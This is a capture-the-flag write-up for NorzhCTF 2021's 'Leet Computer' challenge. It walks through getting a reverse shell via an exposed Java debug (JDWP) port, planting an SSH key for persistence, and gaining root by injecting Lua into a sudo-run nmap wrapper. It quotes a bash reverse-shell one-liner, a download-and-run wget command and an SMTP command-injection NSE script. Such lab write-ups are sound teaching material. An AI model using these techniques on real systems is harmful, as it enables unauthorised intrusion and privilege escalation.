NorzhCTF 2021: Leet Computer

Leet Computer

Category: Airport hall/pentest


20 points

One of the attacker is still in the airport hall, and it seems that he is still connected to the airport wifi ! Get a root shell on its machine to continue your investigation.

This challenge will give you access to another network.

by Masterfox


I’ve started this challenge with nmap scan of machine, from which ping came during Discovery challenge.

nmap -sV -p 1-65535
Starting Nmap 7.80 ( ) at 2021-05-23 01:44 CEST
Nmap scan report for
Host is up (0.042s latency).
Not shown: 65533 closed ports
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
18001/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.11
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 15.19 seconds

Jdwp stands for Java Debug Wire Protocol. I had no idea what it is, but I found couple of very helpful articles, which clarified the topic and gave me the basics for exploitation.

Links to resources:

After some attempts to I finally ended up with pure jdb. I’ve exploited the vulnerability in following steps:

  1. jdb -attach to connect to jdwp
  2. In jdb: trace go methods to pick the method on which breakpoint will be set. I’ve chosen org.apache.logging.log4j.util.PropertiesUtil$Environment.get.
  3. In jdb: stop in org.apache.logging.log4j.util.PropertiesUtil$Environment.get to setup breakpoint.
  4. sudo nc -lvp 80 -s to listen for reverse shell connection on my IP address.
  5. In jdb after breakpoint hit: print new"/tmp/"),true).println("bash -i >& /dev/tcp/ 0>&1") to create shell script which will give me reverse shell.
  6. And finally in jdb: print new java.lang.Runtime().exec("/bin/bash /tmp/") to get reverse shell.

Rightaway after access I’ve put my public key to /home/e11i0t/.ssh/authorized_keys and connected to the server via ssh.

Next task was to escalate the privileges to root. I’ve found suspicious sudoers entry.

└─$ sudo -l
Matching Defaults entries for e11i0t on team-753-inner-savages-kali:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User e11i0t may run the following commands on team-753-inner-savages-kali:
    (root) NOPASSWD: /home/e11i0t/scripts/

Here’s the content of the script:

#!/usr/bin/env python3
#coding: utf-8

import argparse
from tempfile import NamedTemporaryFile
from os import system
import re

description = [[
Attempts to exploit a remote command execution vulnerability in misconfigured Dovecot/Exim mail servers.

It is important to note that the mail server will not return the output of the command. The mail server
also wont allow space characters but they can be replaced with "${{IFS}}". Commands can also be
concatenated with "``". The script takes care of the conversion automatically.

* CVE not available yet

-- @usage nmap -sV --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="uname -a" <target>
-- @usage nmap -p586 --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="wget -O /tmp/p;bash /tmp/p" <target>
-- @output
-- 465/tcp open  smtps   syn-ack
-- |_smtp-dovecot-exim-exec: Malicious payload delivered:250 OK id=XXX
-- @args smtp-dovecot-exim-exec.cmd Command to execute. Separate commands with ";".
-- @args smtp-dovecot-exim-exec.auth Authentication scheme (Optional).
-- @args smtp-dovecot-exim-exec.user Authentication username (Optional).
-- @args smtp-dovecot-exim-exec.pwd Authentication password (Optional).
-- @args smtp-dovecot-exim-exec.from Email address to use in the FROM field. Default: nmap+domain. (Optional).
-- @args Email address to use in the TO field. Default: [email protected]
-- @args smtp-dovecot-exim-exec.timeout Timeout value. Default: 8000. (Optional)
-- @args smtp-dovecot-exim-exec.domain Domain name to use. It attempts to set this field automatically. (Optional)

author = "Paulino Calderon <[email protected]>"
license = "Same as Nmap--See"
categories = {{"exploit"}}

local smtp = require "smtp"
local shortport = require "shortport"
local stdnse = require "stdnse"

portrule = shortport.port_or_service({{25, 465, 587}},
                {{"smtp", "smtps", "submission"}})

action = function(host, port)
  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or "uname"
  --Prepare payload
  cmd = string.gsub(cmd, " ", "${{IFS}}")
  cmd = string.gsub(cmd, ";", "``")

  local user = stdnse.get_script_args(SCRIPT_NAME..".user") or nil
  local pwd = stdnse.get_script_args(SCRIPT_NAME..".pwd") or nil
  local from = stdnse.get_script_args(SCRIPT_NAME..".from") or "[email protected]"..smtp.get_domain(host)
  local to = "{mail_address}"
  local conn_timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 8000
  local smtp_domain = stdnse.get_script_args(SCRIPT_NAME..".domain") or smtp.get_domain(host)

  local smtp_opts = {{
    ssl = true, timeout = conn_timeout, recv_before = true, lines = 1
  local smtp_conn = smtp.connect(host, port, smtp_opts)

  local status, resp = smtp.ehlo(smtp_conn, smtp_domain)
  local auth_mech = stdnse.get_script_args(SCRIPT_NAME..".auth") or smtp.get_auth_mech(resp)
  if type(auth_mech) == "string" then
    auth_mech = {{ auth_mech }}

  if (user and pwd) then
    status = false
    stdnse.print_debug(1, "%s:Mail server requires authentication.", SCRIPT_NAME)
    for i, mech in ipairs(auth_mech) do
      stdnse.print_debug(1, "Trying to authenticate using the method:%s", mech)
      status, resp = smtp.login(smtp_conn, user, pwd, mech)
      if status then
    if not(status) then
      stdnse.print_debug(1, "%s:Authentication failed using user '%s' and password '%s'", SCRIPT_NAME, user, pwd)
      return nil

  --Sends MAIL cmd and injects malicious payload
  local from_frags =  stdnse.strsplit("@", from)
  local malicious_from_field = from_frags[1].."`"..cmd.."`@"..from_frags[2]
  stdnse.print_debug(1, "%s:Setting malicious MAIL FROM field to:%s", SCRIPT_NAME, malicious_from_field)
  status, resp = smtp.mail(smtp_conn, malicious_from_field)
  if not(status) then
    stdnse.print_debug(1, "%s:Payload failed:%s", SCRIPT_NAME, resp)
    return nil

  --Sets recipient
  status, resp = smtp.recipient(smtp_conn, to)
  if not(status) then
    stdnse.print_debug(1, "%s:Cannot set recipient:%s", SCRIPT_NAME, resp)
    return nil

  --Sets data and deliver email
  status, resp = smtp.datasend(smtp_conn, "nse")
  if status then
    return string.format("Malicious payload delivered:%s", resp)
    stdnse.print_debug(1, "%s:Payload could not be delivered:%s", SCRIPT_NAME, resp)
  return nil

parser = argparse.ArgumentParser()
parser.add_argument('--ip', required=True, help='IP of the Dovecot to attacc')
parser.add_argument('--mail', required=True, help='Mail address to check')
args = parser.parse_args()

# Arguments validation
ipregex = re.compile('^([0-9]{3}\.){3}[0-9]{3}$')
if not ipregex.match(args.ip):
  print("Error: IP argument is invalid")

f = NamedTemporaryFile(suffix=".nse")
with open(, "w") as tmp_file:
system("nmap --script={} '{}'".format(, args.ip))

It took me ages, but finally I’ve found the way to get root. Used idea was to inject part of my own lua script, which execute the bash with escalated privileges. Script can be executed only if nmap find vulnerable port, that’s why I had to trick it a bit with nc. Here are the steps:

  1. I’ve launched on my machine sudo nc -lvp 465.
  2. Created payload as below:

    MAIL=`echo -e 'dummy"\nos.execute("bash")\nlocal dummy = "dummy'`
  3. Executed the script and get root :-)

    └─$ sudo /home/e11i0t/scripts/ --ip --mail "${MAIL}"
    Starting Nmap 7.91 ( ) at 2021-05-22 23:56 UTC
    Stats: 0:00:05 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
    SYN Stealth Scan Timing: About 32.55% done; ETC: 23:56 (0:00:10 remaining)

The flag was placed in the /root/flag.

└─# cat flag



Privacy Policy
luc © 2021